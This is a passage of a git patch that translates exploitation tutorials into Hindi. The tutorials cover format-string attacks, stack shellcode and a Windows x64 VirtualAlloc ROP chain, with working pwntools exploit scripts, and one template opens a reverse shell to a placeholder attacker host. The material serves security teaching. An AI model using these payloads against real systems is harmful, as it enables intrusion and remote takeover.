From 32d92cfb0a2deb07549cce8dd8282fc6503bb3c5 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 17:02:41 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ --- src/SUMMARY.md | 1 + .../format-strings/README.md | 128 ++- .../stack-overflow/stack-shellcode/README.md | 115 ++- .../README.md | 800 +++++++++--------- .../arbitrary-kernel-rw-token-theft.md | 122 +++ 5 files changed, 710 insertions(+), 456 deletions(-) create mode 100644 src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ccaa8f2fe..e181a795f 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -234,6 +234,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 7ba4e7eaf..693c719bc 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -3,15 +3,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## बुनियादी जानकारी -C में **`printf`** एक फ़ंक्शन है जिसका उपयोग **किसी स्ट्रिंग को प्रिंट** करने के लिए किया जा सकता है। इस फ़ंक्शन की **पहली पैरामीटर** जो अपेक्षित है, वह है **फॉर्मेटर्स के साथ कच्चा टेक्स्ट**। इसके बाद की **पैरामीटर** अपेक्षित हैं **कच्चे टेक्स्ट** से **फॉर्मेटर्स** को **बदलने** के लिए **मान**। +C में **`printf`** एक function है जो किसी string को **प्रिंट** करने के लिए उपयोग होता है। इस function का **पहला पैरामीटर** वह **raw text होता है जिसमें formatters होते हैं**। इसके **बाद के पैरामीटर्स** वे **values** होते हैं जो raw text में मौजूद formatters को **substitute** करने के लिए दिए जाते हैं। -अन्य संवेदनशील फ़ंक्शन हैं **`sprintf()`** और **`fprintf()`**। +अन्य vulnerable functions हैं **`sprintf()`** और **`fprintf()`**। -संवेदनशीलता तब प्रकट होती है जब **हमलावर टेक्स्ट को इस फ़ंक्शन के पहले तर्क के रूप में उपयोग किया जाता है**। हमलावर एक **विशेष इनपुट तैयार करने** में सक्षम होगा जो **printf फॉर्मेट** स्ट्रिंग क्षमताओं का दुरुपयोग करके किसी भी पते (पढ़ने योग्य/लिखने योग्य) में **कोई भी डेटा पढ़ने और लिखने** की अनुमति देगा। इस तरह से **मनमाना कोड निष्पादित** करने में सक्षम होना। +यह vulnerability तब उत्पन्न होती है जब इस function के पहले argument के रूप में किसी attacker का text उपयोग किया जाता है। attacker एक विशेष input तैयार कर सकता है जो **printf format** string क्षमताओं का दुरुपयोग कर के किसी भी address से डेटा पढ़ने और किसी भी address में डेटा लिखने (पढ़ने/लिखने योग्य) की अनुमति देता है। इस तरह मनमाना कोड निष्पादित करना संभव हो जाता है। -#### Formatters: +#### फॉर्मैटर्स: ```bash %08x —> 8 hex bytes %d —> Entire @@ -24,7 +24,7 @@ C में **`printf`** एक फ़ंक्शन है जिसका उ ``` **उदाहरण:** -- कमजोर उदाहरण: +- असुरक्षित उदाहरण: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. @@ -35,7 +35,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack. int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` -- गायब तर्कों के साथ: +- आर्ग्यूमेंट्स गायब होने पर: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` @@ -52,28 +52,28 @@ fclose(output_file); return 0; } ``` -### **Pointers तक पहुँचना** +### **Pointers तक पहुँच** -फॉर्मेट **`%$x`**, जहाँ `n` एक संख्या है, printf को यह संकेत करने की अनुमति देता है कि n पैरामीटर (स्टैक से) का चयन करें। इसलिए, यदि आप printf का उपयोग करके स्टैक से 4वें पैरामीटर को पढ़ना चाहते हैं, तो आप कर सकते हैं: +फॉर्मेट **`%$x`**, जहाँ `n` एक संख्या है, printf को बताता है कि वह stack से nवां parameter चुने। इसलिए अगर आप printf का उपयोग करके stack का चौथा param पढ़ना चाहते हैं तो आप कर सकते हैं: ```c printf("%x %x %x %x") ``` -और आप पहले से चौथे पैरामीटर तक पढ़ सकते हैं। +और आप पहले से चौथे param तक पढ़ेंगे। -या आप यह कर सकते हैं: +या आप ऐसा कर सकते हैं: ```c printf("%4$x") ``` और सीधे चौथे को पढ़ें। -ध्यान दें कि हमलावर `printf` **पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि** उसका इनपुट `printf` के कॉल होने पर स्टैक में होगा, जिसका अर्थ है कि वह स्टैक में विशिष्ट मेमोरी पते लिख सकता है। +ध्यान दें कि attacker `printf` **parameter, जिसका मूलतः मतलब यह है कि** उसका input `printf` के कॉल होने पर stack में होगा, और इसका मतलब है कि वह stack में specific memory addresses लिख सकता है। > [!CAUTION] -> एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह **स्टैक में मनमाने पते जोड़ने में सक्षम होगा और `printf` को उन्हें एक्सेस करने देगा**। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा। +> इस input को नियंत्रित करने वाला attacker stack में **arbitrary address जोड़ पाएगा और `printf` को उन्हें access करवाएगा**। अगले अनुभाग में बताया जाएगा कि इस व्यवहार का उपयोग कैसे करना है। -## **मनमाना पढ़ना** +## **Arbitrary Read** -फॉर्मेटर **`%n$s`** का उपयोग करना संभव है ताकि **`printf`** **n स्थिति** में स्थित **पते** को प्राप्त करे, इसके बाद और **इसे एक स्ट्रिंग के रूप में प्रिंट करे** (जब तक 0x00 नहीं मिलता)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथे स्थान पर शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है: +यह formatter **`%n$s`** का उपयोग करके संभव है ताकि **`printf`** उस **address** को प्राप्त करे जो **n position** में स्थित है, उसे follow करे और **उसे ऐसे प्रिंट करे जैसे वह एक string हो** (0x00 मिलने तक प्रिंट करेगा). इसलिए यदि binary का base address **`0x8048000`** है, और हमें पता है कि user input stack में 4th position से शुरू होता है, तो binary के शुरुआत को प्रिंट करना संभव है: ```python from pwn import * @@ -87,15 +87,15 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> ध्यान दें कि आप इनपुट की शुरुआत में 0x8048000 का पता नहीं डाल सकते क्योंकि स्ट्रिंग उस पते के अंत में 0x00 पर कट जाएगी। +> ध्यान दें कि आप address 0x8048000 को input की शुरुआत में नहीं रख सकते क्योंकि string उस address के अंत में 0x00 में cat हो जाएगी। ### ऑफसेट खोजें -अपने इनपुट के लिए ऑफसेट खोजने के लिए, आप 4 या 8 बाइट्स (`0x41414141`) भेज सकते हैं उसके बाद **`%1$x`** और **मान बढ़ाएं** जब तक कि `A's` प्राप्त न हो जाएं। +अपने offset को खोजने के लिए आप 4 या 8 bytes (`0x41414141`) भेज सकते हैं, उसके बाद **`%1$x`** और मान बढ़ाते रहें जब तक कि `A's` न मिलें।
-ब्रूट फोर्स printf ऑफसेट +Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -126,60 +126,61 @@ p.close() ```
-### कितनी उपयोगी +### यह कितना उपयोगी है -मनमाने पढ़ने से निम्नलिखित में मदद मिल सकती है: +Arbitrary reads निम्नलिखित के लिए उपयोगी हो सकते हैं: -- **बाइनरी** को मेमोरी से **डंप** करना -- **संवेदनशील** **जानकारी** संग्रहीत करने वाले मेमोरी के विशिष्ट भागों तक **पहुँच** प्राप्त करना (जैसे कि कैनरी, एन्क्रिप्शन कुंजी या कस्टम पासवर्ड जैसे इस [**CTF चुनौती**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) में) +- मेमोरी से **binary** **Dump** करना +- मेमोरी के उन विशिष्ट हिस्सों तक पहुँच जहाँ संवेदनशील **info** संग्रहीत होता है (जैसे canaries, encryption keys या custom passwords जैसे इस [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) -## **मनमाना लिखना** +## **Arbitrary Write** -फॉर्मेटर **`%$n`** **लिखता** है **लिखे गए बाइट्स की संख्या** को **संकेतित पते** में \ पैरामीटर में स्टैक में। यदि एक हमलावर printf के साथ जितने भी अक्षर लिख सकता है, वह **`%$n`** को एक मनमाना संख्या को एक मनमाने पते पर लिखने में सक्षम होगा। +फ़ॉर्मैटर **`%$n`** **लिखता है** स्टैक में पैरामीटर द्वारा संकेत किए गए **निर्दिष्ट पते** में लिखी गई **बाइट्स की संख्या**। यदि कोई attacker printf के साथ जितने भी char वह चाहे लिख सकता है, तो वह **`%$n`** से किसी भी पते में मनमाना मान लिखवा सकेगा। -भाग्यवश, संख्या 9999 लिखने के लिए, इनपुट में 9999 "A"s जोड़ना आवश्यक नहीं है, इसके लिए फॉर्मेटर **`%.%$n`** का उपयोग करके संख्या **``** को **`num` स्थिति द्वारा इंगित पते** में लिखा जा सकता है। +सौभाग्य से, संख्या 9999 लिखने के लिए इनपुट में 9999 "A" जोड़ने की आवश्यकता नहीं है; इसके लिए फ़ॉर्मैटर **`%.%$n`** का उपयोग किया जा सकता है ताकि वह संख्या **``** को उस **पते में लिखे जिसे `num` स्थिति सूचित करती है**। ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -हालांकि, ध्यान दें कि आमतौर पर एक पता जैसे `0x08049724` (जो एक HUGE संख्या है जिसे एक बार में लिखना है) लिखने के लिए, **`$hn`** का उपयोग किया जाता है बजाय **`$n`** के। यह **केवल 2 Bytes** लिखने की अनुमति देता है। इसलिए यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए। +हालाँकि, ध्यान दें कि आम तौर पर किसी पते जैसे `0x08049724` (जो एक साथ लिखने के लिए एक बहुत बड़ा नंबर है) को लिखने के लिए **`$hn`** का उपयोग किया जाता है, `$n` के बजाय। इससे केवल 2 Bytes ही लिखने की अनुमति मिलती है। इसलिए यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निचले 2B के लिए। -इसलिए, यह भेद्यता **किसी भी पते में कुछ भी लिखने की अनुमति देती है (मनमाना लेखन)।** +इसलिए, यह vulnerability किसी भी address में किसी भी चीज़ को लिखने की अनुमति देती है (arbitrary write). + +इस उदाहरण में लक्ष्य **GOT** टेबल में एक **function** के **address** को **overwrite** करना है, जो बाद में कॉल किया जाएगा। हालाँकि, यह अन्य arbitrary write-to-exec तकनीकों का भी दुरुपयोग कर सकता है: -इस उदाहरण में, लक्ष्य यह होगा कि **एक फ़ंक्शन** के **पते** को **ओवरराइट** किया जाए जो बाद में कॉल किया जाएगा। हालांकि, यह अन्य मनमाने लेखन को exec तकनीकों का दुरुपयोग कर सकता है: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -हम एक **फ़ंक्शन** को **ओवरराइट** करने जा रहे हैं जो **उपयोगकर्ता** से अपने **आर्गुमेंट्स** **प्राप्त** करता है और इसे **`system`** **फ़ंक्शन** की ओर **इशारा** करता है।\ -जैसा कि उल्लेख किया गया है, पते को लिखने के लिए आमतौर पर 2 चरणों की आवश्यकता होती है: आप **पहले 2Bytes** का पता लिखते हैं और फिर अन्य 2। ऐसा करने के लिए **`$hn`** का उपयोग किया जाता है। +हम एक ऐसी **function** को **overwrite** करने जा रहे हैं जो अपने **arguments** उपयोगकर्ता से प्राप्त करती है और उसे **`system`** **function** की ओर **point** कर देंगे।\ +जैसा कि बताया गया, पता लिखने के लिए आम तौर पर 2 चरणों की आवश्यकता होती है: आप पहले पते के 2Bytes लिखते हैं और फिर बाकी के 2। इसके लिए **`$hn`** का उपयोग किया जाता है। -- **HOB** को पते के 2 उच्चतम बाइट्स के लिए कहा जाता है -- **LOB** को पते के 2 निम्नतम बाइट्स के लिए कहा जाता है +- **HOB** को पते के उच्च 2 bytes कहा जाता है +- **LOB** को पते के निम्न 2 bytes कहा जाता है -फिर, फ़ॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण, आपको **पहले सबसे छोटे** \[HOB, LOB] को लिखना होगा और फिर दूसरे को। +फिर, format string के काम करने के तरीके के कारण आपको \[HOB, LOB] में से सबसे छोटा पहले **लिखना** होगा और फिर दूसरा। -यदि HOB < LOB\ +If HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -यदि HOB > LOB\ +If HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` -### Pwntools Template +### Pwntools टेम्पलेट -आप इस प्रकार की कमजोरियों के लिए एक **टेम्पलेट** तैयार करने के लिए पा सकते हैं: +आप इस तरह की vulnerability के लिए exploit तैयार करने हेतु एक **टेम्पलेट** पा सकते हैं: {{#ref}} format-strings-template.md {{#endref}} -या [**यहां**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) से यह बुनियादी उदाहरण: +या इस बुनियादी उदाहरण को [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -200,18 +201,59 @@ p.interactive() ``` ## Format Strings to BOF -यह संभव है कि एक फॉर्मेट स्ट्रिंग वल्नरेबिलिटी के लिखने की क्रियाओं का दुरुपयोग करके **स्टैक के पते में लिखें** और **बफर ओवरफ्लो** प्रकार की वल्नरेबिलिटी का शोषण करें। +यह संभव है कि किसी format string vulnerability की write क्रियाओं का दुरुपयोग कर के **स्टैक के एड्रेस में लिखना** और किसी **buffer overflow** प्रकार की vulnerability का exploit करना। -## Other Examples & References + +## Windows x64: Format-string leak to bypass ASLR (no varargs) + +On Windows x64 पहले चार integer/pointer पैरामीटर RCX, RDX, R8, R9 रजिस्टरों में पास होते हैं। कई buggy call-sites में attacker-controlled string को format argument के रूप में उपयोग किया जाता है, पर कोई variadic arguments प्रदान नहीं किए जाते, उदाहरण के लिए: +```c +// keyData is fully controlled by the client +// _snprintf(dst, len, fmt, ...) +_snprintf(keyStringBuffer, 0xff2, (char*)keyData); +``` +क्योंकि कोई varargs पास नहीं किए जाते, "%p", "%x", "%s" जैसे किसी भी conversion से CRT अगले variadic argument को उपयुक्त रजिस्टर से पढ़ेगा। Microsoft x64 calling convention के साथ "%p" के लिए ऐसी पहली read R9 से आती है। कॉल-साइट पर R9 में जो भी transient value होगी वह प्रिंट हो जाएगी। व्यवहार में यह अक्सर एक स्थिर in-module pointer leaks कर देता है (e.g., एक pointer जो आसपास के कोड द्वारा पहले R9 में रखा गया local/global object या कोई callee-saved value), जिसे module base को recover करने और ASLR को मात देने के लिए उपयोग किया जा सकता है। + +Practical workflow: + +- हमलावर-नियंत्रित स्ट्रिंग की बिल्कुल शुरुआत में '%p ' जैसा हानिरहित format inject करें ताकि पहला conversion किसी भी filtering से पहले execute हो जाए। +- leaked pointer को capture करें, module के अंदर उस object का static offset पहचानें (symbols या स्थानीय कॉपी के साथ एक बार reverse करके), और image base को `leak - known_offset` के रूप में recover करें। +- उस base का पुन: उपयोग करके ROP gadgets और IAT entries के absolute addresses रिमोटली compute करें। + +Example (abbreviated python): +```python +from pwn import remote + +# Send an input that the vulnerable code will pass as the "format" +fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9 +io = remote(HOST, 4141) +# ... drive protocol to reach the vulnerable snprintf ... +leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 +base = leaked - 0x20660 # module base = leak - offset +print(hex(leaked), hex(base)) +``` +नोट: +- घटाने के लिए सटीक offset स्थानीय reversing के दौरान एक बार पाया जाता है और फिर पुन: उपयोग किया जाता है (same binary/version). +- अगर "%p" पहली कोशिश में एक वैध pointer प्रिंट नहीं करता है, तो अन्य specifiers ("%llx", "%s") या multiple conversions ("%p %p %p") आज़माएँ ताकि अन्य argument registers/stack को sample किया जा सके। +- यह pattern Windows x64 calling convention और printf-family implementations के लिए specific है, जो जब format string उन्हें मांगती है तो मौजूद नहीं varargs को registers से fetch करती हैं। + +यह technique ROP को bootstrap करने के लिए बेहद उपयोगी है, खासकर Windows services पर जो ASLR के साथ compile किए गए हों और जिनमें कोई स्पष्ट memory disclosure primitives न हों। + +## अन्य उदाहरण और संदर्भ - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 बिट, कोई रिलरो, कोई कैनरी, nx, कोई पाई, स्टैक से फ्लैग लीक करने के लिए फॉर्मेट स्ट्रिंग्स का बुनियादी उपयोग (कार्य निष्पादन प्रवाह को बदलने की आवश्यकता नहीं) +- 32 bit, no relro, no canary, nx, no pie, format strings का basic उपयोग stack से flag को leak करने के लिए (execution flow को बदलने की आवश्यकता नहीं) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 बिट, रिलरो, कोई कैनरी, nx, कोई पाई, `fflush` के पते को विन फ़ंक्शन (ret2win) के साथ ओवरराइट करने के लिए फॉर्मेट स्ट्रिंग +- 32 bit, relro, no canary, nx, no pie, format string का उपयोग `fflush` के address को overwrite करने के लिए ताकि win function को point किया जा सके (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 बिट, रिलरो, कोई कैनरी, nx, कोई पाई, `.fini_array` में मुख्य के अंदर एक पते को लिखने के लिए फॉर्मेट स्ट्रिंग (ताकि प्रवाह एक बार और लूप हो) और `system` के पते को GOT तालिका में लिखें जो `strlen` की ओर इशारा करता है। जब प्रवाह मुख्य में वापस जाता है, `strlen` उपयोगकर्ता इनपुट के साथ निष्पादित होता है और `system` की ओर इशारा करता है, यह पास किए गए कमांड को निष्पादित करेगा। +- 32 bit, relro, no canary, nx, no pie, format string का प्रयोग main के अंदर `.fini_array` में एक address लिखने के लिए (इससे flow एक बार और loop करेगा) और GOT table में `strlen` को point करने वाली entry में `system` का address लिखना। जब flow वापस main में जाएगा, `strlen` user input के साथ execute होगा और क्योंकि वह अब `system` को point कर रहा होगा, यह पास किए गए commands को execute कर देगा। + +## संदर्भ + +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 2aa74a59f..59d028c3a 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -2,13 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## बुनियादी जानकारी -**Stack shellcode** एक तकनीक है जो **binary exploitation** में उपयोग की जाती है जहाँ एक हमलावर एक कमजोर प्रोग्राम के स्टैक पर शेलकोड लिखता है और फिर **Instruction Pointer (IP)** या **Extended Instruction Pointer (EIP)** को इस शेलकोड के स्थान की ओर मोड़ता है, जिससे यह निष्पादित होता है। यह एक क्लासिक विधि है जिसका उपयोग अनधिकृत पहुंच प्राप्त करने या लक्षित प्रणाली पर मनमाने आदेश निष्पादित करने के लिए किया जाता है। यहाँ प्रक्रिया का एक विवरण है, जिसमें एक सरल C उदाहरण और यह कैसे आप **pwntools** के साथ एक संबंधित एक्सप्लॉइट लिख सकते हैं। +**Stack shellcode** एक तकनीक है जो **binary exploitation** में इस्तेमाल होती है, जहाँ एक हमलावर vulnerable प्रोग्राम के stack पर shellcode लिखता है और फिर Instruction Pointer (IP) या Extended Instruction Pointer (EIP) को इस shellcode के पते पर बदल देता है, जिससे वह execute हो जाता है। यह लक्ष्य सिस्टम पर अनधिकृत पहुँच प्राप्त करने या arbitrary commands execute करने का एक क्लासिक तरीका है। नीचे प्रक्रिया का विवरण दिया गया है, जिसमें एक सरल C उदाहरण और यह दिखाया गया है कि आप Python के साथ **pwntools** का उपयोग करके संबंधित exploit कैसे लिख सकते हैं। -### C Example: A Vulnerable Program +### C उदाहरण: एक कमजोर प्रोग्राम -Let's start with a simple example of a vulnerable C program: +आइए एक सरल कमजोर C प्रोग्राम के उदाहरण से शुरू करें: ```c #include #include @@ -24,22 +24,22 @@ printf("Returned safely\n"); return 0; } ``` -यह प्रोग्राम `gets()` फ़ंक्शन के उपयोग के कारण बफ़र ओवरफ़्लो के लिए संवेदनशील है। +यह प्रोग्राम `gets()` फ़ंक्शन के उपयोग के कारण एक buffer overflow के प्रति vulnerable है। -### संकलन +### कम्पाइल करना -इस प्रोग्राम को संकलित करने के लिए जबकि विभिन्न सुरक्षा उपायों को निष्क्रिय किया गया है (संवेदनशील वातावरण का अनुकरण करने के लिए), आप निम्नलिखित कमांड का उपयोग कर सकते हैं: +विभिन्न सुरक्षा व्यवस्थाओं को अक्षम करते हुए (एक vulnerable environment का अनुकरण करने के लिए), आप इस प्रोग्राम को कम्पाइल करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` -- `-fno-stack-protector`: स्टैक सुरक्षा को अक्षम करता है। -- `-z execstack`: स्टैक को निष्पादन योग्य बनाता है, जो स्टैक पर संग्रहीत शेलकोड को निष्पादित करने के लिए आवश्यक है। -- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारा शेलकोड कहाँ स्थित होगा। -- `-m32`: प्रोग्राम को 32-बिट एक्सीक्यूटेबल के रूप में संकलित करता है, जो अक्सर एक्सप्लॉइट विकास में सरलता के लिए उपयोग किया जाता है। +- `-fno-stack-protector`: Stack protection को अक्षम करता है। +- `-z execstack`: Stack को executable बनाता है, जो कि stack पर संग्रहित shellcode को execute करने के लिए आवश्यक है। +- `-no-pie`: Position Independent Executable को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारे shellcode का memory address कहाँ स्थित होगा। +- `-m32`: प्रोग्राम को 32-bit executable के रूप में compile करता है, जो अक्सर exploit development में सरलता के लिए उपयोग किया जाता है। ### Python Exploit using Pwntools -यहाँ बताया गया है कि आप **pwntools** का उपयोग करके **ret2shellcode** हमले के लिए Python में एक एक्सप्लॉइट कैसे लिख सकते हैं: +यहाँ बताया गया है कि आप Python में **pwntools** का उपयोग करके एक **ret2shellcode** attack कैसे लिख सकते हैं: ```python from pwn import * @@ -66,26 +66,97 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -यह स्क्रिप्ट एक पेलोड बनाती है जिसमें **NOP स्लाइड**, **शेलकोड** और फिर **EIP** को NOP स्लाइड की ओर इशारा करने वाले पते के साथ ओवरराइट किया जाता है, यह सुनिश्चित करते हुए कि शेलकोड निष्पादित हो जाए। +This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. -**NOP स्लाइड** (`asm('nop')`) का उपयोग इस संभावना को बढ़ाने के लिए किया जाता है कि निष्पादन हमारे शेलकोड में "स्लाइड" करेगा चाहे सटीक पता कुछ भी हो। अपने बफर के प्रारंभिक पते के लिए `p32()` तर्क को समायोजित करें और NOP स्लाइड में पहुंचने के लिए एक ऑफसेट जोड़ें। +The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. -## सुरक्षा +## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो सके, या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक समान नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि जीत फ़ंक्शन कहाँ लोड हुआ है। -- [**स्टैक कैनरीज़**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं फॉलो किया जाएगा। -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **स्टैक** सुरक्षा शेलकोड के स्टैक के अंदर निष्पादन को रोक देगी क्योंकि वह क्षेत्र निष्पादन योग्य नहीं होगा। +आधुनिक Windows पर stack non-executable (DEP/NX) होता है। stack-resident shellcode को stack BOF के बाद भी execute कराने का एक सामान्य तरीका यह है कि एक 64-bit ROP chain बनाया जाए जो module की Import Address Table (IAT) से VirtualAlloc (या VirtualProtect) को कॉल करे ताकि stack का एक region executable बनाया जा सके और फिर chain के तुरंत बाद जोड़ी गई shellcode में return किया जा सके। + +Key points (Win64 calling convention): +- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) +- RCX = lpAddress → वर्तमान stack में कोई address चुनें (उदा., RSP) ताकि newly allocated RWX region आपके payload के साथ overlap करे +- RDX = dwSize → आपकी chain + shellcode के लिए पर्याप्त बड़ा (उदा., 0x1000) +- R8 = flAllocationType = MEM_COMMIT (0x1000) +- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) +- Return directly into the shellcode placed right after the chain. + +Minimal strategy: +1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR. +2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). +3) Place stage-2 shellcode immediately after the chain. + +Example layout (conceptual): +``` +# ... padding up to saved RIP ... +# R9 = 0x40 (PAGE_EXECUTE_READWRITE) +POP_R9_RET; 0x40 +# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic +POP_R8_RET; 0x1000 +# RCX = &stack (lpAddress) +LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg +# RDX = size (dwSize) +POP_RDX_RET; 0x1000 +# Call VirtualAlloc via the IAT +[IAT_VirtualAlloc] +# New RWX memory at RCX — execution continues at the next stack qword +JMP_SHELLCODE_OR_RET +# ---- stage-2 shellcode (x64) ---- +``` +एक सीमित gadget set के साथ, आप register values को अप्रत्यक्ष रूप से तैयार कर सकते हैं, उदाहरण के लिए: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9 को rbx से सेट करें, r8 को शून्य करें, और स्टैक को एक junk qword से समायोजित करें। +- xor rbx, rsp; ret → rbx को वर्तमान stack pointer से seed करें। +- push rbx; pop rax; mov rcx, rax; ret → RSP-derived value को RCX में move करें। + +Pwntools खाका (दिए गए known base और gadgets के साथ): +```python +from pwn import * +base = 0x7ff6693b0000 +IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing +rop = b'' +# r9 = 0x40 +rop += p64(base+POP_RBX_RET) + p64(0x40) +rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK' +# rcx = rsp +rop += p64(base+POP_RBX_RET) + p64(0) +rop += p64(base+XOR_RBX_RSP_RET) +rop += p64(base+PUSH_RBX_POP_RAX_RET) +rop += p64(base+MOV_RCX_RAX_RET) +# r8 = 0x1000 via arithmetic if no pop r8 +for _ in range(0x1000//0x40): +rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET) +# rdx = 0x1000 (use any available gadget) +rop += p64(base+POP_RDX_RET) + p64(0x1000) +# call VirtualAlloc and land in shellcode +rop += p64(IAT_VirtualAlloc) +rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) +``` +टिप्स: +- VirtualProtect समान तरीके से काम करता है यदि किसी existing buffer को RX बनाना बेहतर हो; पैरामीटर क्रम अलग होता है। +- यदि stack space तंग है, तो stack को फिर से उपयोग करने की बजाय RWX कहीं और allocate करें (RCX=NULL) और उस 